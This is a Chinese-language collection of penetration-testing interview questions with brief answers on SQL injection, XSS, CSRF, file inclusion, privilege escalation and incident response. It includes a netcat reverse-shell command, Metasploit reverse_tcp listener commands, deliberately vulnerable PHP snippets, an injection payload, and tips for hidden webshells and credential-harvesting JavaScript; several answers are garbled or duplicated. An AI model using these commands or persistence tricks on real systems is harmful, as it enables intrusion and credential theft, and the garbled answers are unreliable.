2021最新渗透测试面试题合集!
⽹上整理的⾯试问题⼤全,有些 HW ⾯试的题,已经收集好了,提供给⼤家。
1、介绍⼀下⾃认为有趣的挖洞经历
挖洞也有分很多种类型,⼀种是以渗透、⼀种是以找漏洞为主,如果是前者会想各种办法获取权限继⽽获取想要的的东 ⻄完成渗透⽬标,这类跟 HW 类似,⽬标各种漏洞不算,要有 Shell,服务器权限才给分,这才是最接近实战渗透,跟某 部⻔有合作的话也是属于这种打击⽹络犯罪获得权限、传销数据、组织架构,服务器权限、等......
2、你平时⽤的⽐较多的漏洞是哪些?相关漏洞的原理?以及对应漏洞的修复⽅案?
SQL 注⼊、密码组合, 前者防护分为⼏种,CDN -> Web -> 数据库 -> 主机, 设置最⼩权限来应对。密码组合根据个⼈ 习惯
3、php/java 反序列化漏洞的原理? 解决⽅案?
php 中围绕着 serialize(),unserialize() 这两个函数,序列化就是把⼀个对象变成可以传输的字符串, 如果服务器能够接 收我们反序列化过的字符串、并且未经过滤的把其中的变量直接放进这些魔术⽅法⾥⾯的话,就容易造成很严重的漏洞了。
O:7:'chybeta':1:{s:4:'test';s:3:'123';}
这⾥的 O 代表存储的是对象(object), 假如你给 serialize() 传⼊的是⼀个数组,那它会变成字⺟ a。7 表示对象的名称 有 7 个字符。'chybeta' 表示对象的名称。1 表示有⼀个值。{s:4:'test';s:3:'123';} 中,s 表示字符串,4 表示该字符串的 ⻓度,'test' 为字符串的名称,之后的类似。当传给 unserialize() 的参数可控时,我们可以通过传⼊⼀个精⼼构造的序列 化字符串 控 对象内部的变 甚 数化字符串,从⽽控制对象内部的变量甚⾄是函数。
JAVA Java 序列化是指把 Java 对象转换为字节序列的过程便于保存在内存、⽂件、数据库中,ObjectOutputStream 类的 writeObject() ⽅法可以实现序列化。Java 反序列化是指把字节序列恢复为 Java 对象的过程,ObjectInputStream 类的 readObject() ⽅法⽤于反序列化。
4、如果⼀台服务器被⼊侵后, 你会如何做应急响应?
准备相关的⼯具,查后⻔等⼯具
初步判断事件类型, 事件等级。
抑制范围,隔离使受害⾯不继续扩⼤
查找原因,封堵攻击源。
业务恢复正常⽔平.
总结,报告,并修复、监控
以上是常规的回答,想知道你是否有这⽅⾯应急相关的经验,像这类问题甲⽅⾯试⽐较多。
5、你平时使⽤哪些⼯具? 以及对应⼯具的特点?
AWVS、Masscan、BurpSuite
AWVS 常规漏洞扫描,masscan 快速查找端⼝,burp 重复提交数据包
想知道是否有⾃⼰开发⼯具,如果没有你对每个安全⼯具有哪些独特的⻅解以及别⼈不知道的技巧⽤法。如:awvs 如何批量扫描?burpsuite 如何爆破 401、脱库等、等等...
6、如果遇到 waf 的情况下如何进⾏ sql 注⼊ / 上传 Webshell 怎么做?请写出曾经绕过 WAF 的经过 (SQLi,XSS,上传漏洞选⼀)
PHP 上传,⽆法上传 php、解析、后台没有办法拿到,只有⼀处点可以上传。通过 Windows 特性 shell.php::$DAT,是⼀个项⽬管理系统
7、如何判断 sql 注⼊,有哪些⽅法
提交错误语句是否有异常,除此之外这些显示的错误可以通过 sleep, 修眠语句执⾏ 5 秒等,除此之外通过 DNSlog 判断 是还有传回值
8、如何判断 SQL 注⼊漏洞成因,如何防范?注⼊⽅式有哪些?除了数据库数据,利⽤⽅式还有哪些?
select * from news where id = '$SQL';
当程序执⾏访问新闻等⼀些操作都会执⾏到 sql 语句进⾏调⽤,如果在此调⽤过程中,提交了不合法的数据,⽽数据库⽆法识别则会报错。也就是⼀切输⼊都是有害的。
注⼊类型有 6 种,可以参考 SQLMAP,报错、盲注、联合、时间、内联、堆叠
注⼊提交⽅式:GET、POST、Cookies、⽂件头
利⽤⽅式:具体看什么数据库类型,像 SQLSERVER 可以命令执⾏,MYSQL 写 shell 有些权限⼤也可以执⾏命令但是条件是在 lINUX 环境下。
防范: 边界, CDN -> 脚本语⾔过滤 -> 数据库过滤最⼩权限 -> 主机
9、为什么有的时候没有错误回显
没有进⾏错误打印或者错误屏蔽
10、宽字符注⼊的原理?如何利⽤宽字符注⼊漏洞,payload 如何构造?
在 mysql 中使⽤了 gbk 编码,占⽤ 2 个字节, ⽽ mysql 的⼀种特性, GBK 是多字节编码,它认为两个字节就代表⼀个汉字,所以 %df 时候会和转义符 %5c 进⾏结合, 所以单引号就逃逸了出来, 当第⼀个字节的 ascii 码⼤于 128,就可以了。
11、CRLF 注⼊的原理
CRLF 注⼊在 OWASP ⾥⾯被称为 HTTP 拆分攻击(HTTP Splitting)CRLF 是” 回⻋ + 换⾏”(rn)的简称, 在 HTTP协议中,HTTP Header 与 HTTP Body 是⽤两个 CRLF 分隔的,浏览器就是根据这两个 CRLF 来取出 HTTP 内容并显示出来。所以,⼀旦我们能够控制 HTTP 消息头中的字符,注⼊⼀些恶意的换⾏
12、mysql 的⽹站注⼊,5.0 以上和 5.0 以下有什么区别?
5.0 以下没有 information_schema 这个系统表,⽆法列表名等,只能暴⼒跑表名。
5.0 以下是多⽤户单操作,5.0 以上是多⽤户多操作。
13、php.ini 可以设置哪些安全特性
禁⽤ PHP 函数
允许 include 或打开访问远程资源
14、php 的 %00 截断的原理是什么?
因为在 C 语⾔中字符串的结束标识符 %00 是结束符号,⽽ PHP 就是 C 写的,所以继承了 C 的特性,所以判断为%00 是结束符号不会继续往后执⾏
条件:PHP<5.3.29,且 GPC 关闭
15、webshell 检测,有哪些⽅法
grep、关键词、关键函数
安全狗、D 盾
16、php 的 LFI,本地包含漏洞原理是什么?写⼀段带有漏洞的代码。⼿⼯的话如何发掘?如果⽆报错回显,你是怎么遍历⽂件的?
if ($_GET['fifile']){
include $_GET['fifile'];
}
包含的⽂件设置为变量,并且⽆过滤导致可以调⽤恶意⽂件 还可以对远程⽂件包含,但需要开启 allow_url_include = ON 通过测试参数的地⽅进⾏本地⽂件 / etc/passwd 等包含 如何存在漏洞⽽且没有回显,有可能没有显示在⻚⾯⽽是⽹⻚源代码中,除了些可以利⽤ DNSlog 进⾏获取包含的信息。从 index.php ⽂件⼀级级往读取 也可以利⽤ PHP 封装协议读取⽂件
17、说说常⻅的中间件解析漏洞利⽤⽅式
IIS 6.0
/xx.asp/xx.jpg 'xx.asp' 是⽂件夹名
IIS 7.0/7.5
默认 Fast-CGI 开启,直接在 url 中图⽚地址后⾯输⼊ / 1.php,会把正常图⽚当成 php 解析
Nginx
版本⼩于等于 0.8.37,利⽤⽅法和 IIS 7.0/7.5 ⼀样,Fast-CGI 关闭情况下也可利⽤。
空字节代码 xxx.jpg%00.php
Apache
上传的⽂件命名为:test.php.x1.x2.x3,Apache 是从右往左判断后缀
18、mysql 的⽤户名密码是存放在那张表⾥⾯?mysql 密码采⽤哪种加密⽅式?
mysql -> users
SHA1
19、Windows、Linux、数据库的加固降权思路,任选其⼀
禁⽤ root
禁⽌远程访问
禁⽌写⼊
单独账号
禁⽌执⾏ system 等函数
20、你使⽤什么⼯具来判断系统是否存在后⻔
Chkrootkit
Rkhunter
21、如何绕过 CDN 获取⽬标⽹站真实 IP,谈谈你的思路?
类似 phpinfo、⽹站信息
C 段、⼦域名
历史解析记录
DDOS
zmap 全⽹扫描识别 http 头
⽹站域名管理员邮箱,注册过的域名等相关信息关联
22、如果给你⼀个⽹站, 你的渗透测试思路是什么? 在获取书⾯授权的前提下。
其实这是⼀个⾮常⼤的话题,渗透⼤部分思路都是如此,⽽⾯试官是想听到你回答不⼀样的答案让⼈眼前⼀亮 如何才做到让⼈眼前⼀亮都需要看你的经验,把你实践的过程拿出来说,以及遇到什么问题如何解决,最终取得成果 渗透其它⼤同⼩异, ⽽做为渗透者知识的储备、基础扎实、耐⼼、细⼼都是必不可少。
23、谈⼀谈 Windows 系统与 Linux 系统提权的思路?
Windows
Windows 服务⽐较多所以⽅法也如此,最基本的就是 Exp 提权,数据库 SQLServer、MYSQL UDF 等、第三⽅软件提权。
除此之外提权的成功与否和在于信息收集也⾮常重要,你对这台服务器和管理员了解多少。
windows 权限提升 (⼆)
Linux
Linux 也是类似,除了 EXP 或者⾼版本的内核⽆法提权之外,通过第三⽅软件和服务,除了提权也可以考虑把这台机器 当跳版, 达到先进⼊内⽹安全防线最弱的地⽅寻找有⽤的信息,再迂回战术。
linux 权限提升
Brief
枚举脚本
以 root 权限运⾏的程序
⽤户安装的软件
弱⼝令或者明⽂密码
只能内部访问的服务
suid 和 guid 错误配置
滥⽤ sudo 权限
以 root 权限运⾏的脚本⽂件
错误的路径配置
计划任务
未挂载的⽂件系统
NFS 共享
通过键盘记录仪窃取密码
其它有⽤的和提权相关的东⻄
内核提权
24、列举出您所知道的所有开源组件⾼危漏洞 (⼗个以上)
Tomcat
Nginx
Apache
Hadhoop
Docker
Jenkins
Zenoss
Jboss
MongoDB
Redis
GlassFish
25、反弹 shell 的常⽤命令?⼀般常反弹哪⼀种 shell?为什么?
nc -lvvp 7777 -e /bin/bash
bash 是交互式, 否则像 useradd ⽆法执⾏交互
26、CMD 命令⾏如何查询远程终端开放端⼝
tasklist /svc
netstat -ano
27、服务器为 IIS+PHP+MySQL,发现 root 权限注⼊漏洞,讲讲你的渗透思路
可以读取 IIS 信息,知道路径, 如果像 WAMMP 类似构建,通过 @@datadir 知道数据库路径也可以猜测⽹站路径。或者直接写 Shell
28、请写出 Mysql5 数据库中查询库’helloworld’中’users’表所有列名的语句
select COLUMN_NAME from information_schema.COLUMNS where table_name = 'your_table_name' and
table_schema = 'your_db_name';
29、下⾯这段代码存在漏洞吗?如果存在请说出存在什么漏洞并利⽤
http://www.exp.com/1.php
<?php
$s_func = $_GET['s_func'];
$info = $_GET['info'];
$s_func($info);
?>
代码执⾏, 通过 assert 调⽤
30、udf 提权
MySQL 可以⾃定义函数, 通过⾃定义函数做到类似 xp_cmdshell 效果
31、SQL 头注⼊点
UserAgent
Referer
Cookie
X-FOR-I
32、php 中命令执⾏涉及到的函数
eval()
assert()
system()
exec()
shell_exec()
33、SSRF 漏洞的成因 防御 绕过
模拟服务器对其它资源进⾏请求 IP 探测,如果想漏洞利⽤必需要构造好 Payload 禁⽌跳转,限制协议,内外⽹限制,
URL 限制 针对 IP 格式
34、mysql 写 shell 有⼏种⽅法
outfifile、dumpfifile、开启 log 写 webshell
35、Metasploit 打开反向监听的命令
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
36、应急响应的步骤
准备已经编译好的⼯具以及取证分析等⼯具⼲净可靠放 U 盘
初步判断事件的类型 是被⼊侵 ddos 还是其它的原因
⾸先抑制范围、影响范围,隔离使受害⾯不继续扩⼤。
寻找原因,封堵攻击源。
把业务恢复⾄正常⽔平
监控有⽆异常,报告、管理环节的⾃省和改进措施。
37、有哪些反向代理的⼯具?
reGeirg、EW、lcx、Ngrok、frp
38、有什么⽐较曲折的渗透经历
这个问题想知道你⼯作渗透到什么样的程度,只是简单的漏扫搬砖,还是有毅⼒坚持完成整个渗透,如:对⽬标不放弃,坚持⼀个⽉最终通过各种⼿段,曲折的过程拿下⽬标。
39、UpdateTime:2019.5.11
怎么查找域控
⽅法有很多
1.通过 DNS 查询
dig -t SRV _gc._tcp.lab.ropnop.com
dig -t SRV _ldap._tcp.lab.ropnop.com
dig -t SRV _kerberos._tcp.lab.ropnop.com
dig -t SRV _kpasswd._tcp.lab.ropnop.com
2. 端⼝扫描
域服务器都会开启 389 端⼝,所以可以通过扫描端⼝进⾏识别。
3. 其实很多域环境⾥,DNS 服务器就是域控制根本不需要怎么找。
4. 各种命令
dsquery
net group 'Domain controllers'
nltest /DCLIST:pentest.com
......
1、什么是同源策略?
源就是主机、协议、端⼝名的⼀个三元组 同源策略 (Same Origin Policy, SOP) 是 Web 应⽤程序的⼀种安全模型,被⼴
泛地应⽤在处理 WEB 内容的各种客户端上,⽐如各⼤浏览器,微软的 Silverlight,Adobe 的 Flash/Acrobat 等等。
2、XSS 能⽤来做什么?
⽹络钓⻥、窃取⽤户 Cookies、弹⼴告刷流量、具备改⻚⾯信息、删除⽂章、获取客户端信息、传播蠕⾍
3、XSS 的三种类型,防御⽅法
反射型、Dom Base XSS、存储型 防御⽅法这个只能说个⼤概,毕竟这是⼀个⽐较⼤的话题,⽽且防御的⽅法还得看所在的业务等。从⽹络层、主机层、Web 层、数据库,通过 CDN 都有过滤常⻅⼀些攻击⼿法,但不能有 CDN 就以为可以了,添加 CDN 只是让攻击成本增⾼,开启 HttpOnly,以防确实存在避免 cookies 被获取,CSP 策略、再就是语⾔中提供的函数对输⼊过滤,以及输出编码以及 ModSecurity 类的防⽕墙。
4、存储型 xss 原理?
如⽹站留⾔版,把插⼊的记录存储在数据库中,插⼊的代码会⼀直留在⻚⾯上,当其它⽤户访问会从数据库中读取并触
发漏洞。
5、你怎么理解 xss 攻击?
是⼀种被动型,在不知道的情况下触发类似⽆感型,在渗透很多情况下平常的渗透⼿段以及取得⽬标的信息,⽽ XSS 就
能轻松获取,类似 QQ 邮箱你不可能渗透这么⼤的互联⽹就算可以时间成本都⾮常的⾼,XSS ⽐较有针对性。
6、如何快速发现 xss 位置?
各种输⼊的点,名称、上传、留⾔、可交互的地⽅,⼀切输⼊都是在害原则。
7、Dom xss 原理 / 防范
DOM 型 XSS 并不需要服务器解析响应的直接参与触发 XSS 靠的是浏览器 DOM 解析 DOM—based XSS 漏洞是基于⽂档对象模型 Document Objeet Model,DOM) 的⼀种漏洞。
cument.getElementById('a').innerHTML='yyyyyy';
在输⼊点过滤敏感关键字
8、DOM 型 XSS 与反射型 XSS 区别?
DOM 型就是 JavaScript 中的 Document 对象 HTML 注⼊,直接浏览器处理。
9、如何使得前端 referer 为空
通过地址栏输⼊、从书签⾥⾯选择或者浏览器的插件 BurpSuite 修改。
10、cookie 参数,security ⼲什么的
Httponly:防⽌ cookie 被 xss 偷
https:防⽌ cookie 在⽹络中被偷
Secure:阻⽌ cookie 在⾮ https 下传输,很多全站 https 时会漏掉
Path : 区分 cookie 的标识,安全上作⽤不⼤,和浏览器同源冲突
11、如果 SRC 上报了⼀个 XSS 漏洞,payload 已经写⼊⻚⾯,但未给出具体位置,如何快速介⼊?
看是否什么类型的 XSS,XSS 反射型看提交的地址,指的参数是哪个位置,通过这个⻚⾯进⾏ fuzzing 测试。如果是存储型⻚⾯查找关键字。
12、XSS, CSRF, CRLF ⽐较容易弄混,说说三者的原理,防御⽅法
CSRF 跨站请求伪造,构造已知的所有参数让对⽅访问,防护 CSRF: 防御原理:不让你那么容易伪造请求 (cookie 中加⼊随机数,要求请求中带上,⽽攻击者获取不到 cookie中的随机数, 验证 HTTP Referer 字段, 在请求地址中添加 takon 验证
CRLF 原理:
HTTP 拆分攻击(HTTP Splitting),CRLF 是” 回⻋ + 换⾏”(rn)的简称。
在 HTTP 协议中,HTTP Header 与 HTTP Body 是⽤两个 CRLF 分隔的,浏览器就是根据这两个 CRLF 来取出 HTTP内容并显示出来。所以,⼀旦我们能够控制 HTTP 消息头中的字符,注⼊⼀些恶意的换⾏,这样我们就能注⼊⼀些会话Cookie 或者 HTML 代码,所以 CRLF Injection ⼜叫 HTTP Response Splitting,简称 HRS。
13、csrf 如何不带 referer 访问
通过地址栏,⼿动输⼊;从书签⾥⾯选择;通过实现设定好的⼿势。上⾯说的这三种都是⽤户⾃⼰去操作,因此不算 CSRF。
跨协议间提交请求。常⻅的协议:ftp://,http://,https://,fifile://,javascript:,data:. 最简单的情况就是我们在本地打开⼀个HTML ⻚⾯ 这个时候浏览器地址栏是 fifile:// 开头的 如果这个 HTML ⻚⾯向任何 http 站点提交请求的话 这些请求HTML ⻚⾯,这个时候浏览器地址栏是 fifile:// 开头的,如果这个 HTML ⻚⾯向任何 http 站点提交请求的话,这些请求的 Referer 都是空的。那么我们接下来可以利⽤ data: 协议来构造⼀个⾃动提交的 CSRF 攻击。当然这个协议是 IE 不⽀持的,我们可以换⽤ javascript:
14、CSRF 成因及防御措施;如果不⽤ token 如何做防御?
X-Frame-Options
DENY(禁⽌被 加载进任何 frame)
SAMEORIGIN(仅允许被加载进同域内的 frame)
X-XSS-Protection
0(表示禁⽌⽤这个策略)
1(默认,对危险脚本做⼀些标志或修改,以阻⽌在浏览器上熏染执⾏。)
1;mode=block(强制不熏染,在 Chrome 下直接跳转到空⽩⻚,在 IE 下返回⼀个 #符号)
这个策略仅针对反射型,对付不了存储型 XSS,能识别出反射型是因为提交请求的 URL 中带有可疑的 XSS 代码⽚段。
X-Content-Security-Policy
15、Xss worm 原理
攻击者发现⽬标⽹站存在 XSS 漏洞,并且可以编写 XSS 蠕⾍。利⽤⼀个宿主(如博客空间)作为传播源头进⾏ XSS 攻
击。
16、Cookie 的 P3P 性质
HTTP 响应头的 p3 字段是 W3C 公布的⼀项隐私保护推荐标准,该字段⽤于标识是否允许⽬标⽹站的 cookie 被另⼀个
域通过加载⽬标⽹站⽽设置或发送,仅 IE 执⾏了该策略。
17、CSRF 有何危害?
篡改⽬标⽹站上的⽤户数据 盗取⽤户隐私数据 传播 CSRF 蠕
⼀、思路流程
1、信息收集
a、服务器的相关信息(真实 ip,系统类型,版本,开放端⼝,WAF 等)
b、⽹站指纹识别(包括,cms,cdn,证书等),dns 记录
c、whois 信息,姓名,备案,邮箱,电话反查(邮箱丢社⼯库,社⼯准备等)
e、⼦域名收集,旁站,C 段等
f、google hacking 针对化搜索,pdf ⽂件,中间件版本,弱⼝令扫描等
g、扫描⽹站⽬录结构,爆后台,⽹站 banner,测试⽂件,备份等敏感⽂件泄漏等
h、传输协议,通⽤漏洞,exp,github 源码等
2、漏洞挖掘
a、浏览⽹站,看看⽹站规模,功能,特点等
b、端⼝,弱⼝令,⽬录等扫描, 对响应的端⼝进⾏漏洞探测,⽐如 rsync, ⼼脏出⾎,mysql,ftp,ssh 弱⼝令等。
c、XSS,SQL 注⼊,上传,命令注⼊,CSRF,cookie 安全检测,敏感信息,通信数据传输,暴⼒破解,任意⽂件上传,越权访问,未授权访问,⽬录遍历,⽂件 包含,重放攻击(短信轰炸),服务器漏洞检测,最后使⽤漏扫⼯具等
3、漏洞利⽤ & 权限提升
a、 mysql 提权 serv u 提权 oracle 提权
b、windows 溢出提权
c、linux 脏⽜, 内核漏洞提权 e
4、清除测试数据 & 输出报告
⽇志、测试数据的清理
总结,输出渗透测试报告,附修复⽅案
5、复测
验证并发现是否有新漏洞,输出报告,归档
二、问题
1、拿到⼀个待检测的站,你觉得应该先做什么?
信息收集
a、获取域名的 whois 信息, 获取注册者邮箱姓名电话等,丢社⼯库⾥看看有没有泄露密码,然后尝试⽤泄露的密码进⾏
登录后台。⽤邮箱做关键词进⾏丢进搜索引擎。利⽤搜索到的关联信息找出其他邮箱进⽽得到常⽤社交账号。社⼯找出
社交账号,⾥⾯或许会找出管理员设置密码的习惯 。利⽤已有信息⽣成专⽤字典。
b、查询服务器旁站以及⼦域名站点,因为主站⼀般⽐较难,所以先看看旁站有没有通⽤性的 cms 或者其他漏洞。
c、查看服务器操作系统版本,web 中间件,看看是否存在已知的漏洞,⽐如 IIS,APACHE,NGINX 的解析漏洞
d、查看 IP,进⾏ IP 地址端⼝扫描,对响应的端⼝进⾏漏洞探测,⽐如 rsync, ⼼脏出⾎,mysql,ftp,ssh 弱⼝令等。
e、扫描⽹站⽬录结构,看看是否可以遍历⽬录,或者敏感⽂件泄漏,⽐如 php 探针
f、google hack 进⼀步探测⽹站的信息,后台,敏感⽂件
漏洞扫描
开始检测漏洞
如 XSS XSRF sql 注⼊ 代码执⾏ 命令执⾏ 越权访问 ⽬录读取 任意⽂件读取 下载 ⽂件包含开始检测漏洞,如 XSS,XSRF,sql 注⼊,代码执⾏,命令执⾏,越权访问,⽬录读取,任意⽂件读取,下载,⽂件包含,
远程命令执⾏,弱⼝令,上传,编辑器漏洞,暴⼒破解等
漏洞利⽤
利⽤以上的⽅式拿到 webshell,或者其他权限
权限提升
提权服务器,⽐如 windows 下 mysql 的 udf 提权,serv-u 提权,windows 低版本的漏洞,如 iis6,pr, 巴⻄烤⾁,linux
脏⽜漏洞,linux 内核版本漏洞提权,linux 下的 mysql system 提权以及 oracle 低权限提权
⽇志清理
总结报告及修复⽅案
2、判断出⽹站的 CMS 对渗透有什么意义?
查找⽹上已曝光的程序漏洞。
如果开源,还能下载相对应的源码进⾏代码审计。
3、⼀个成熟并且相对安全的 CMS,渗透时扫⽬录的意义?
敏感⽂件、⼆级⽬录扫描
站⻓的误操作⽐如:⽹站备份的压缩⽂件、说明. txt、⼆级⽬录可能存放着其他站点
4. 常⻅的⽹站服务器容器。
IIS、Apache、nginx、Lighttpd、Tomcat
5.mysql 注⼊点,用工具对⽬标站直接写写入一句话,需要哪些条件?
root 权限以及⽹站的绝对路径。
6. ⽬前已知哪些版本的容器有解析漏洞,具体举例。
a、IIS 6.0
/xx.asp/xx.jpg 'xx.asp' 是⽂件夹名
b、IIS 7.0/7.5
默认 Fast-CGI 开启,直接在 url 中图⽚地址后⾯输⼊ / 1.php,会把正常图⽚当成 php 解析
c、Nginx
版本⼩于等于 0.8.37,利⽤⽅法和 IIS 7.0/7.5 ⼀样,Fast-CGI 关闭情况下也可利⽤。空字节代码 xxx.jpg.php
d、Apache 上传的⽂件命名为:test.php.x1.x2.x3,Apache 是从右往左判断后缀
e、lighttpd xx.jpg/xx.php,不全, 请⼩伙伴们在评论处不吝补充,谢谢!
7. 如何⼿⼯快速判断⽬标站是 windows 还是 linux 服务器?
linux ⼤⼩写敏感, windows ⼤⼩写不敏感。
8. 为何⼀个 mysql 数据库的站,只有⼀个 80 端⼝开放?
更改了端⼝,没有扫描出来。
站库分离。
3306 端⼝不对外开放
9、3389 ⽆法连接的⼏种情况
没开放 3389 端⼝
端⼝被修改防护拦截
处于内⽹ (需进⾏端⼝转发)
10. 如何突破注⼊时字符被转义?
宽字符注⼊
hex 编码绕过
11. 在某后台新闻编辑界⾯看到编辑器,应该先做什么?
查看编辑器的名称版本, 然后搜索公开的漏洞。
12. 拿到⼀个 webshell 发现⽹站根⽬录下有. htaccess ⽂件,我们能做什么?
能做的事情很多,⽤隐藏⽹⻢来举例⼦:
插⼊
<FilesMatch 'xxx.jpg'> SetHandler application/x-httpd-php
.jpg ⽂件会被解析成. php ⽂件。
具体其他的事情,不好详说,建议⼤家⾃⼰去搜索语句来玩玩。
13. 注⼊漏洞只能查账号密码?
只要权限⼴,拖库脱到⽼。
14. 安全狗会追踪变量,从⽽发现出是⼀句话⽊⻢吗?
是根据特征码,所以很好绕过了,只要思路宽,绕狗绕到欢,但这应该不会是⼀成不变的。
15.access 扫出后缀为 asp 的数据库⽂件,访问乱码, 如何实现到本地利用?
迅雷下载,直接改后缀为. mdb。
16. 提权时选择可读写⽬录,为何尽量不⽤带空格的⽬录?因为 exp 执⾏多半需要空格界定参数
17. 某服务器有站点 A,B 为何在 A 的后台添加 test ⽤户,访问 B 的后台。发现也添加上了 test ⽤户?
同数据库。
18. 注⼊时可以不使⽤ and 或 or 或 xor,直接 order by 开始注⼊吗?
and/or/xor,前⾯的 1=1、1=2 步骤只是为了判断是否为注⼊点,如果已经确定是注⼊点那就可以省那步骤去。
19: 某个防注⼊系统,在注⼊时会提示:
系统检测到你有⾮法注⼊的⾏为。
已记录您的 ip xx.xx.xx.xx
时间: 2016:01-23
提交⻚⾯: test.asp?id=15
提交内容: and 1=1
20、如何利⽤这个防注⼊系统拿 shell?
在 URL ⾥⾯直接提交⼀句话,这样⽹站就把你的⼀句话也记录进数据库⽂件了 这个时候可以尝试寻找⽹站的配置⽂件
直接上菜⼑链接。
21. 上传⼤⻢后访问乱码时,有哪些解决办法?
浏览器中改编码。
22. 审查上传点的元素有什么意义?
有些站点的上传⽂件类型的限制是在前端实现的,这时只要增加上传类型就能突破限制了。
23. ⽬标站禁⽌注册⽤户,找回密码处随便输⼊⽤户名提示:“此⽤户不存在”,你觉得这⾥怎样利⽤?
先爆破⽤户名,再利⽤被爆破出来的⽤户名爆破密码。
其实有些站点,在登陆处也会这样提示
所有和数据库有交互的地⽅都有可能有注⼊。
24. ⽬标站发现某 txt 的下载地址为
http://www.test.com/down/down.php?fifile=/upwdown/1.txt,你有什么思路?
这就是传说中的下载漏洞!在 fifile = 后⾯尝试输⼊ index.php 下载他的⾸⻚⽂件,然后在⾸⻚⽂件⾥继续查找其他⽹站的配置⽂件,可以找出⽹站的数据库密码和数据库的地址。
25. 甲给你⼀个⽬标站,并且告诉你根⽬录下存在 / abc / ⽬录,并且此⽬录下存在编辑器和 admin ⽬录。请问你的想法是?
直接在⽹站⼆级⽬录 / abc / 下扫描敏感⽂件及⽬录。
26. 在有 shell 的情况下,如何使⽤ xss 实现对⽬标站的⻓久控制?
后台登录处加⼀段记录登录账号密码的 js,并且判断是否登录成功,如果登录成功,就把账号密码记录到⼀个⽣僻的路
径的⽂件中或者直接发到⾃⼰的⽹站⽂件中。(此⽅法适合有价值并且需要深⼊控制权限的⽹络)。
在登录后才可以访问的⽂件中插⼊ XSS 脚本。
27. 后台修改管理员密码处,原密码显示为 *。你觉得该怎样实现读出这个⽤户的密码?
审查元素 把密码处的 password 属性改成 text 就明⽂显示了
28. ⽬标站⽆防护,上传图⽚可以正常访问,上传脚本格式访问则 403. 什么原因?
原因很多,有可能 web 服务器配置把上传⽬录写死了不执⾏相应脚本,尝试改后缀名绕过
29. 审查元素得知⽹站所使⽤的防护软件,你觉得怎样做到的?
在敏感操作被拦截,通过界⾯信息⽆法具体判断是什么防护的时候,F12 看 HTML 体部 ⽐如护卫神就可以在名称那看到内容。
30. 在 win2003 服务器中建⽴⼀个 .zhongzi ⽂件夹⽤意何为?
隐藏⽂件夹,为了不让管理员发现你传上去的⼯具。
31、sql 注⼊有以下两个测试选项,选⼀个并且阐述不选另⼀个的理由:
A. demo.jsp?id=2+1
B. demo.jsp?id=2-1
选 B,在 URL 编码中 + 代表空格,可能会造成混淆
32、以下链接存在 sql 注⼊漏洞,对于这个变形注⼊,你有什么思路?
demo.do?DATA=AjAxNg==
DATA 有可能经过了 base64 编码再传⼊服务器,所以我们也要对参数进⾏ base64 编码才能正确完成测试
33、发现 demo.jsp?uid=110 注⼊点,你有哪⼏种思路获取 webshell,哪种是优选?
有写⼊权限的,构造联合查询语句使⽤ using INTO OUTFILE,可以将查询的输出重定向到系统的⽂件中,这样去写⼊
WebShell 使⽤ sqlmap –os-shell 原理和上⾯⼀种相同,来直接获得⼀个 Shell,这样效率更⾼ 通过构造联合查询语句
得到⽹站管理员的账户和密码,然后扫后台登录后台,再在后台通过改包上传等⽅法上传 Shell
34、CSRF 和 XSS 和 XXE 有什么区别,以及修复⽅式?
XSS 是跨站脚本攻击,⽤户提交的数据中可以构造代码来执⾏,从⽽实现窃取⽤户信息等攻击。修复⽅式:对字符实体
进⾏转义、使⽤ HTTP Only 来禁⽌ JavaScript 读取 Cookie 值、输⼊时校验、浏览器与 Web 应⽤端采⽤相同的字符编
码。
CSRF 是跨站请求伪造攻击,XSS 是实现 CSRF 的诸多⼿段中的⼀种,是由于没有在关键操作执⾏时进⾏是否由⽤户⾃愿发起的确认。修复⽅式:筛选出需要防范 CSRF 的⻚⾯然后嵌⼊ Token、再次输⼊密码、检验 Referer XXE 是 XML 外部实体注⼊攻击,XML 中可以通过调⽤实体来请求本地或者远程内容,和远程⽂件保护类似,会引发相关安全问题,例如敏感⽂件读取。修复⽅式:XML 解析库在调⽤时严格禁⽌对外部实体的解析。
35、CSRF、SSRF 和重放攻击有什么区别?
CSRF 是跨站请求伪造攻击,由客户端发起 SSRF 是服务器端请求伪造,由服务器发起 重放攻击是将截获的数据包进⾏重放,达到身份认证等⽬的
36、说出⾄少三种业务逻辑漏洞,以及修复⽅式?
密码找回漏洞中存在
1)密码允许暴⼒破解、
2)存在通⽤型找回凭证、
3)可以跳过验证步骤、
4)找回凭证可以拦包获取
等⽅式来通过⼚商提供的密码找回功能来得到密码。身份认证漏洞中最常⻅的是
1)会话固定攻击
2) Cookie 仿冒
只要得到 Session 或 Cookie 即可伪造⽤户身份。验证码漏洞中存在
1)验证码允许暴⼒破解
2)验证码可以通过 Javascript 或者改包的⽅法来进⾏绕过
37、圈出下⾯会话中可能存在问题的项,并标注可能会存在的问题?
get /ecskins/demo jsp?uid=2016031900&keyword=”hello world”HTTP/1.1Host:***.com:82User-Agent:Mozilla/5.0 Firefox/40Accept:text/css,/;q=0.1Accept-Language:zh-CN;zh;q=0.8;en-US;q=0.5,en;q=0.3Referer:http://*******.com/eciop/orderForCC/cgtListForCC.htm?zone=11370601&v=145902Cookie:myguid1234567890=1349db5fe50c372c3d995709f54c273d;uniqueserid=session_OGRMIFIYJHAH5_HZRQOZAMHJ;st_uid=N90PLYHLZGJXI-NX01VPUF46W;status=TrueConnection:keep-alive
有写⼊权限的,构造联合查询语句使⽤ using INTO OUTFILE,可以将查询的输出重定向到系统的⽂件中,这样去写⼊WebShell 使⽤ sqlmap –os-shell 原理和上⾯⼀种相同,来直接获得⼀个 Shell,这样效率更⾼ 通过构造联合查询语句得到⽹站管理员的账户和密码,然后扫后台登录后台,再在后台通过改包上传等⽅法上传 Shell
38、给你⼀个⽹站你是如何来渗透测试的?
在获取书⾯授权的前提下。
39、sqlmap,怎么对⼀个注⼊点注⼊?
1)如果是 get 型号,直接,sqlmap -u '诸如点⽹址'.
2) 如果是 post 型诸如点,可以 sqlmap -u '注⼊点⽹址” --data='post 的参数 '
3)如果是 cookie,X-Forwarded-For 等,可以访问的时候,⽤ burpsuite 抓包,注⼊处⽤号替换,放到⽂件⾥,然后
sqlmap -r '⽂件地址'
40、nmap,扫描的⼏种⽅式
文章:https://www.changchen.cc/archives/20/
41、sql 注⼊的⼏种类型?
1)报错注⼊
2)bool 型注⼊
3)延时注⼊
4)宽字节注⼊
42、报错注⼊的函数有哪些?10 个
1)and extractvalue(1, concat(0x7e,(select @@version),0x7e))】】】
